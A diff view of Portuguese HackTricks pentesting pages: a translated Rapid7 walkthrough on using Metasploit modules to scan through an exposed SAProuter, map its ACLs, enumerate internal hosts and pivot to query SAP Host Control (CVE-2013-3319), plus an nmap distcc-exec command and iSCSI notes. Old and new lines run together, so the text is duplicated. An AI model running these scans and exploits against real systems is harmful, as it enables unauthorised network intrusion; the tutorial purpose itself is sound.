# BEGIN RECORD 2.0-873 # BEGIN RECORD 2.0-873
@ -141,6 +157,8 @@ node.conn[0].iscsi.IFMarker = No
node.conn[0].iscsi.OFMarker = No node.conn[0].iscsi.OFMarker = No
# END RECORD # END RECORD
``` ```
**Existe um script para automatizar o processo básico de enumeração de sub-redes disponível em** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
## **Shodan** ## **Shodan**
* `port:3260 AuthMethod` * `port:3260 AuthMethod`
@ -151,18 +169,14 @@ node.conn[0].iscsi.OFMarker = No
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Existe um script para automatizar o processo básico de enumeração de sub-redes disponível em [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm) Outras formas de apoiar o HackTricks:
- Você trabalha em uma **empresa de segurança cibernética**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -1,16 +1,14 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>
@ -20,11 +18,11 @@ Cópia de: [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploi
PORT STATE SERVICE VERSION PORT STATE SERVICE VERSION
3299/tcp open saprouter? 3299/tcp open saprouter?
``` ```
# Perfurando o SAProuter com Metasploit # Perfurando o SAProuter com o Metasploit
O Saprouter é basicamente um proxy reverso para sistemas SAP, geralmente situado entre a Internet e os sistemas SAP internos. Seu principal objetivo é permitir acesso controlado de hosts na Internet aos sistemas SAP internos, uma vez que permite um controle mais refinado dos protocolos SAP do que um firewall típico. O SAProuter é basicamente um proxy reverso para sistemas SAP, geralmente localizado entre a Internet e os sistemas SAP internos. Seu principal objetivo é permitir o acesso controlado de hosts na Internet aos sistemas SAP internos, pois permite um controle mais refinado dos protocolos SAP do que um firewall típico.
Isso significa que o saprouter geralmente acaba sendo exposto à Internet, permitindo a porta TCP de entrada 3299 para o host saprouter nos firewalls da organização. E a partir do saprouter, pelo menos deve ser possível alcançar um servidor SAP interno. Isso o torna um alvo muito interessante, pois pode fornecer uma maneira de entrar na rede de "alto valor". Isso significa que o SAProuter geralmente acaba sendo exposto à Internet, permitindo a porta TCP de entrada 3299 para o host do SAProuter nos firewalls da organização. E a partir do SAProuter, pelo menos deveria ser possível alcançar um servidor SAP interno. Isso o torna um alvo muito interessante, já que pode fornecer uma maneira de entrar na rede de “alto valor”.
A figura a seguir mostra uma configuração básica de rede, que usaremos para os exemplos: A figura a seguir mostra uma configuração básica de rede, que usaremos para os exemplos:
@ -43,7 +41,7 @@ msf auxiliary(sap_service_discovery) > run
[*] Scanned 1 of 1 hosts (100% complete) [*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed [*] Auxiliary module execution completed
``` ```
A varredura mostra que o host está executando um roteador SAP na porta TCP esperada 3299. Agora podemos aprofundar e tentar obter algumas informações do saprouter. Se ele foi mal configurado, e muitas vezes é, pode ser possível obter informações internas, como conexões estabelecidas através do saprouter para hosts internos. Para este propósito, usamos o módulo [`sap_router_info_request`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_info_request): A varredura mostra que o host está executando um SAP router na porta TCP 3299 esperada. Agora podemos aprofundar e tentar obter algumas informações do saprouter. Se ele estiver mal configurado, e muitas vezes estão, pode ser possível obter informações internas, como conexões estabelecidas através do saprouter para hosts internos. Para esse propósito, usamos o módulo [`sap_router_info_request`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_info_request):
```text ```text
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101 msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
@ -67,13 +65,11 @@ msf auxiliary(sap_router_info_request) > run
[*] Scanned 1 of 1 hosts (100% complete) [*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed [*] Auxiliary module execution completed
``` ```
Então, a partir da saída, vemos que alguém na Internet \(1.2.3.12\) está conectado a um host interno \(192.168.1.18\) na porta 3200. A porta 3200 é uma porta SAP comum para o protocolo DIAG \(é onde o aplicativo SAP GUI se conecta aos servidores SAP\). Também obtemos informações sobre o esquema de endereçamento IP interno, eles estão muito provavelmente usando pelo menos a rede 192.168.1.0/24, ou algum sub-rede nessa rede.
**Enumerando hosts e serviços internos** **Enumerando hosts e serviços internos**
Com essas informações, agora podemos começar a escanear a rede interna. Como o saprouter funciona como um proxy, tentaremos nos conectar a ele e solicitar conexões para hosts e portas internos, e ver as respostas do saprouter. Isso pode fornecer mais informações sobre os hosts internos, serviços e ACLs, dependendo da configuração do saprouter. Usaremos o módulo [`sap_router_portscanner`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_portscanner) para esse propósito. Com essa informação, agora podemos começar a escanear a rede interna. Uma vez que o saprouter funciona como um proxy, tentaremos nos conectar a ele e solicitar conexões para hosts e portas internos, e ver as respostas do saprouter. Isso pode fornecer mais informações sobre os hosts internos, serviços e ACLs, dependendo da configuração do saprouter. Usaremos o módulo [`sap_router_portscanner`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_portscanner) para esse propósito.
O módulo se conecta ao saprouter e solicita conexões a outros hosts \(definidos na opção TARGETS\) em portas TCP específicas. Em seguida, analisa as respostas e entende se a conexão solicitada é possível ou não. Este módulo fornece algumas opções que podem ser usadas: O módulo se conecta ao saprouter e solicita conexões para outros hosts \(definidos na opção TARGETS\) em portas TCP específicas. Em seguida, analisa as respostas e compreende se a conexão solicitada é possível ou não. Este módulo oferece algumas opções que podem ser usadas:
```text ```text
Basic options: Basic options:
Name Current Setting Required Description Name Current Setting Required Description
@ -87,18 +83,18 @@ Basic options:
RPORT 3299 yes SAPRouter TCP port RPORT 3299 yes SAPRouter TCP port
TARGETS yes Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed. TARGETS yes Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed.
``` ```
No mínimo, você terá que definir o endereço IP do saprouter, no caso de exemplo, 1.2.3.101. Em seguida, defina TARGETS para os endereços de rede interna que você deseja escanear e, finalmente, defina PORTS com as portas TCP a serem escaneadas. Pelo menos, você terá que definir o endereço IP do saprouter, no caso do exemplo, 1.2.3.101. Em seguida, defina TARGETS para os endereços de rede interna que você deseja escanear e, finalmente, defina PORTS com as portas TCP a serem escaneadas.
O módulo também fornece uma opção INSTANCES que permite simplificar a definição da opção PORTS. As instalações SAP suportam várias instâncias, fornecendo serviços semelhantes, portanto, cada instância tem portas TCP atribuídas. Por exemplo, a instância SAP 00 terá o serviço de despachante SAP \(onde o SAP GUI se conecta\) na porta 3200 e a instância 01 na porta 3201. A opção PORTS suporta um "curinga" que é "NN" que será substituído pelo número da instância, portanto, escaneando portas para todas as instâncias definidas. Então, se quisermos escanear instâncias de 00 a 50, podemos definir as variáveis INSTANCES e PORTS desta maneira: O módulo também fornece uma opção INSTANCES que permite simplificar a definição da opção PORTS. Instalações SAP suportam múltiplas instâncias, fornecendo serviços similares, então cada instância tem portas TCP atribuídas. Por exemplo, a instância SAP 00 terá o serviço de dispatcher SAP \(onde o SAP GUI se conecta\) na porta 3200 e a instância 01 na porta 3201. A opção PORTS suporta um "coringa" que é "NN" que será substituído pelo número da instância, portanto, escaneando portas para todas as instâncias definidas. Então, se quisermos escanear instâncias de 00 a 50, podemos definir as variáveis INSTANCES e PORTS desta forma:
```text ```text
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50 msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
INSTANCES => 00-01 INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN PORTS => 32NN
``` ```
Com essa configuração, o módulo irá escanear portas no intervalo de 3200 a 3250. Com essa configuração, o módulo irá escanear as portas na faixa de 3200 a 3250.
No código-fonte do módulo, você tem informações sobre as portas padrão comuns em sistemas SAP, que agora usaremos para escanear: No código-fonte do módulo, você tem informações sobre as portas padrão comuns em sistemas SAP, que agora usaremos para escaneamento:
```text ```text
msf > use auxiliary/scanner/sap/sap_router_portscanner msf > use auxiliary/scanner/sap/sap_router_portscanner
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner
@ -126,9 +122,9 @@ Portscan Results
[*] Auxiliary module execution completed [*] Auxiliary module execution completed
``` ```
Podemos tentar entender por que algumas conexões não são permitidas pelo saprouter usando a opção VERBOSE. Quando VERBOSE é definido como verdadeiro, podemos ver a resposta do saprouter e mapear a ACL definida. Podemos tentar entender por que algumas conexões não são permitidas através do saprouter usando a opção VERBOSE. Quando VERBOSE está configurado como true, podemos ver a resposta do saprouter e mapear a ACL definida.
Agora vamos escanear os hosts 192.168.1.18 e 192.168.1.1, mas apenas na porta 3200, para ver se podemos nos conectar aos dois despachantes SAP: Agora vamos escanear os hosts 192.168.1.18 e 192.168.1.1, mas apenas na porta 3200, para ver se conseguimos nos conectar a ambos os despachantes SAP:
```text ```text
msf auxiliary(sap_router_portscanner) > set VERBOSE true msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true VERBOSE => true
@ -154,20 +150,20 @@ Portscan Results
[!] Warning: Service info could be inaccurate [!] Warning: Service info could be inaccurate
[*] Auxiliary module execution completed [*] Auxiliary module execution completed
``` ```
Como você pode ver, agora sabemos que não podemos nos conectar a outro host na porta 3200, pois ela é bloqueada pela ACL definida no saprouter. Como você pode ver, agora também sabemos que não podemos nos conectar a outros hosts na porta 3200, pois ela está bloqueada pela ACL definida no saprouter.
**Mapeando as ACLs** **Mapeando as ACLs**
Uma coisa interessante sobre o saprouter é que ele suporta dois tipos de conexões: Uma coisa interessante sobre o saprouter é que ele suporta dois tipos de conexões:
* Nativa - Essas conexões são simplesmente conexões TCP; * Nativa Essas conexões são simplesmente conexões TCP;
* Protocolo SAP - São conexões TCP com uma reviravolta, o protocolo afirma que todas as mensagens são iniciadas com 4 bytes indicando o comprimento do conteúdo seguinte. * Protocolo SAP São conexões TCP com um diferencial, o protocolo determina que todas as mensagens começam com 4 bytes indicando o comprimento do conteúdo seguinte.
O protocolo SAP é específico para o saprouter e é o que o SAP GUI usa para se conectar à porta SAP DIAG por meio do saprouter. O protocolo nativo é usado para permitir que outros tipos de conexões passem pelo saprouter. O protocolo SAP é específico para o saprouter e é o que o SAP GUI usa para se conectar à porta SAP DIAG através do saprouter. O protocolo nativo é usado para permitir que outros tipos de conexões passem pelo saprouter.
Este módulo permite especificar qual tipo de conexão testar durante a varredura na opção MODE. O padrão é o protocolo SAP, que é o mais provável de ser usado em produção. No entanto, não é incomum encontrar outros serviços permitidos pelo saprouter, onde a ACL permitirá conexões nativas \(TCP\) através dele. Este módulo permite especificar qual tipo de conexão testar durante a varredura na opção MODE. O padrão é o protocolo SAP, que é o mais provável de ser usado em produção. No entanto, não é incomum encontrar outros serviços permitidos através do saprouter, onde a ACL permitirá conexões nativas \(TCP\) através dele.
Podemos definir o MODE como TCP para avaliar se esse tipo de conexão é permitido. Agora, vamos escanear os hosts internos, tanto na porta 3200 \(SAP DIAG\) quanto na porta 80 \(HTTP\), com VERBOSE definido como true, em ambas as instâncias 00 e 01 e ver o que acontece: Podemos definir o MODE para TCP a fim de avaliar se esse tipo de conexões é permitido. Agora vamos varrer os hosts internos, tanto na porta 3200 \(SAP DIAG\) quanto na 80 \(HTTP\), com VERBOSE definido como true, nas duas instâncias 00 e 01 e ver o que acontece:
```text ```text
msf auxiliary(sap_router_portscanner) > set MODE TCP msf auxiliary(sap_router_portscanner) > set MODE TCP
MODE => TCP MODE => TCP
@ -208,7 +204,7 @@ Portscan Results
[*] Auxiliary module execution completed [*] Auxiliary module execution completed
``` ```
A partir da saída e das informações anteriores, agora sabemos que a ACL é algo como: A partir da saída e das informações anteriores, agora sabemos que a ACL é algo como isto:
* Permitir conexões TCP de qualquer host para 192.168.1.1 na porta 80 * Permitir conexões TCP de qualquer host para 192.168.1.1 na porta 80
* Permitir conexões TCP de qualquer host para 192.168.1.18 na porta 80 * Permitir conexões TCP de qualquer host para 192.168.1.18 na porta 80
@ -218,21 +214,21 @@ A partir da saída e das informações anteriores, agora sabemos que a ACL é al
**Enumeração cega de hosts internos** **Enumeração cega de hosts internos**
Se você se lembra, começamos obtendo informações do saprouter que nos permitiram saber o endereço IP de um host interno, e seguimos a partir daí. Mas e se o saprouter não nos fornecer essa informação? Se você se lembra, começamos obtendo informações do saprouter que nos permitiu conhecer o endereço IP de um host interno, e partimos daí. Mas e se o saprouter não nos fornecer essa informação?
Uma opção é simplesmente começar a escanear espaços de endereço privados e ver o que acontece. A outra é enumerar cegamente hosts por nome de host. Uma opção é começar a escanear espaços de endereço privados e ver o que acontece. A outra é enumerar cegamente os hosts pelo nome do host.
Os saprouters são capazes de resolver nomes de host que solicitamos que se conectem. O saprouter também é gentil o suficiente para nos informar quais são os erros quando não consegue se conectar \(você pode realmente ver as respostas brutas descomentando a linha 242 na origem do módulo\). Os saprouters são capazes de resolver nomes de host que solicitamos para se conectar. O saprouter também é gentil o suficiente para nos informar quais são os erros quando falha em se conectar \(você pode realmente ver as respostas brutas descomentando a linha 242 no código-fonte do módulo\).
Com esse recurso, podemos enumerar hosts internos por nome de host e tentar ir direto ao ponto! Com esse recurso, somos capazes de enumerar hosts internos pelo nome do host e tentar ir diretamente ao ponto crucial!
Para isso, precisamos definir a opção RESOLVE como "remota". Nesse caso, o módulo solicitará conexão aos ALVOS definidos, sem resolvê-los localmente, e podemos tentar adivinhar os hosts internos e, eventualmente, nos conectar a eles sem nunca saber seus endereços IP. Para isso, precisamos definir a opção RESOLVE para "remote". Neste caso, o módulo solicitará conexão com os TARGETS definidos, sem resolvê-los localmente, e podemos tentar adivinhar os hosts internos e eventualmente nos conectar a eles sem nunca conhecer seus endereços IP.
Coisas importantes a lembrar ao enumerar hosts cegamente: Coisas importantes para lembrar ao enumerar cegamente hosts:
* Defina VERBOSE como true; * Definir VERBOSE como true;
* Obteremos mais informações do saprouter se MODE for definido como SAP\_PROTO; * Obteremos mais informações do saprouter se MODE estiver definido como SAP_PROTO;
* É suficiente definir apenas uma porta para escanear, uma vez que estamos interessados apenas nas informações enviadas pelo saprouter \(tente 3200\); * É suficiente definir apenas uma porta para escanear, que estamos interessados apenas nas informações enviadas pelo saprouter neste ponto \(tente 3200\);
* Os resultados variarão dependendo da ACL configurada. Infelizmente, conexões bloqueadas não nos darão muitas informações. * Os resultados variarão dependendo da ACL configurada. Infelizmente, conexões bloqueadas não nos darão muitas informações.
Neste exemplo, tentaremos os nomes de host sap, sapsrv e sapsrv2. Neste exemplo, tentaremos os nomes de host sap, sapsrv e sapsrv2.
@ -268,17 +264,17 @@ Portscan Results
[*] Auxiliary module execution completed [*] Auxiliary module execution completed
``` ```
A partir da saída, vemos que o host "sap" não existe, mas o host "sapsrv" existe, embora seja inacessível, e "sapsrv2" existe e podemos nos conectar à porta 3200. A partir da saída, vemos que o host "sap" não existe, mas o host sapsrv existe, embora seja inacessível, e o sapsrv2 existe e podemos conectar ao porto 3200.
Essa técnica também pode ser usada para tentar encontrar outros hosts na rede, não relacionados ao SAP, apenas tente usar nomes de host comuns, como smtp, exchange, pdc, bdc, fileshare, intranet ou quaisquer outros nomes de host interessantes que você possa ter em sua bolsa de truques. Esta técnica também pode ser usada para tentar encontrar outros hosts na rede, não relacionados com SAP, basta tentar usar nomes de hosts comuns, como smtp, exchange, pdc, bdc, fileshare, intranet, ou quaisquer outros nomes de hosts interessantes que você possa ter na sua bolsa de truques.
**A última milha** **A última milha**
Agora que obtivemos todas essas informações, sabemos quais hosts internos estão disponíveis, quais serviços são permitidos e quais protocolos podemos usar para perfurar o saprouter, podemos realmente nos conectar aos servidores internos e prosseguir com nosso pentest. Agora que obtivemos todas essas informações, conhecemos os hosts internos disponíveis, quais serviços são permitidos e quais protocolos podemos usar para penetrar no saprouter, podemos realmente nos conectar aos servidores internos e prosseguir com nosso pentest.
O Metasploit nos fornece uma maneira incrível de usar o saprouter como um proxy, usando a opção Proxies, graças a Dave Hartley \([@nmonkee](http://twitter.com/nmonkee)\). O Metasploit nos oferece uma maneira incrível de usar o saprouter como um proxy, usando a opção Proxies, graças a Dave Hartley ([@nmonkee](http://twitter.com/nmonkee)).
Então, neste ponto, queremos começar a coletar informações sobre o servidor SAP interno que descobrimos no host 192.168.1.18. Como exemplo, usaremos o módulo [`sap_hostctrl_getcomputersystem`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem), que explora a CVE-2013-3319 e nos fornece detalhes sobre o sistema operacional em que o servidor está sendo executado, consultando o serviço SAP Host Control na porta 1128 por meio de uma solicitação SOAP não autenticada. Vamos pivotar através do saprouter, usando o suporte a proxy no metasploit: Portanto, neste ponto, queremos começar a coletar informações sobre o servidor sap interno que descobrimos no host 192.168.1.18. Como exemplo, estaremos usando o módulo [`sap_hostctrl_getcomputersystem`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem) que explora o CVE-2013-3319 e nos dá detalhes sobre o sistema operacional em que o servidor está rodando, consultando o serviço SAP Host Control na porta 1128 através de uma solicitação SOAP não autenticada. Estaremos pivotando através do saprouter, usando o suporte a proxy no metasploit:
![](https://blog.rapid7.com/content/images/post-images/33923/image2.jpg) ![](https://blog.rapid7.com/content/images/post-images/33923/image2.jpg)
```text ```text
@ -294,15 +290,15 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
[*] Scanned 1 of 1 hosts (100% complete) [*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed [*] Auxiliary module execution completed
``` ```
Se tudo correu bem, você terá uma saída agradável do módulo no loot contendo informações internas interessantes do host SAP alvo (como nomes de usuário internos que você pode tentar forçar a entrada). Se tudo correu bem, você terá uma saída agradável do módulo no loot contendo informações internas interessantes do host SAP alvo \(como nomes de usuários internos que você pode tentar forçar bruta\).
O pivô pode (e deve!) ser usado para executar outros módulos contra hosts internos, não apenas sistemas SAP! Pivoting pode \(e deve!\) ser usado para executar outros módulos contra hosts internos, não apenas sistemas SAP!
**Conclusão** **Conclusão**
Vimos como é possível explorar configurações fracas do saprouter que podem permitir acesso a hosts internos diretamente da Internet, tudo isso usando apenas o suporte do metasploit para pentesting de sistemas SAP. Vimos como é possível explorar configurações fracas de saprouter que podem permitir acesso a hosts internos diretamente da Internet, tudo isso usando apenas o suporte do metasploit para pentesting em sistemas SAP.
Espero que este artigo possa ajudar a esclarecer tanto os riscos associados às implantações do saprouter quanto à segurança do SAP em geral. Espero que este artigo possa ajudar a esclarecer tanto os riscos associados a implantações de saprouter, quanto a segurança SAP em geral.
**Referências** **Referências**
@ -325,16 +321,14 @@ Espero que este artigo possa ajudar a esclarecer tanto os riscos associados às
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -1,6 +1,21 @@
# Informação Básica <details>
O Distcc é projetado para acelerar a compilação aproveitando o poder de processamento não utilizado em outros computadores. Uma máquina com o Distcc instalado pode enviar código para ser compilado pela rede para um computador que tenha o daemon Distccd e um compilador compatível instalado. <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Informações Básicas
Distcc é projetado para acelerar a compilação aproveitando a capacidade de processamento não utilizada em outros computadores. Uma máquina com distcc instalado pode enviar código para ser compilado através da rede para um computador que tenha o daemon distccd e um compilador compatível instalado.
**Porta padrão:** 3632 **Porta padrão:** 3632
``` ```
@ -16,11 +31,11 @@ nmap -p 3632 <ip> --script distcc-exec --script-args="distcc-exec.cmd='id'"
``` ```
# Shodan # Shodan
_Não acredito que o Shodan detecte este serviço._ _Eu acho que o Shodan não detecta esse serviço._
# Recursos # Recursos
* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec) * [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc_exec)
* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855) * [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
Post criado por **Álex B (@r1p)** Post criado por **Álex B (@r1p)**
@ -28,16 +43,14 @@ Post criado por **Álex B (@r1p)**
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
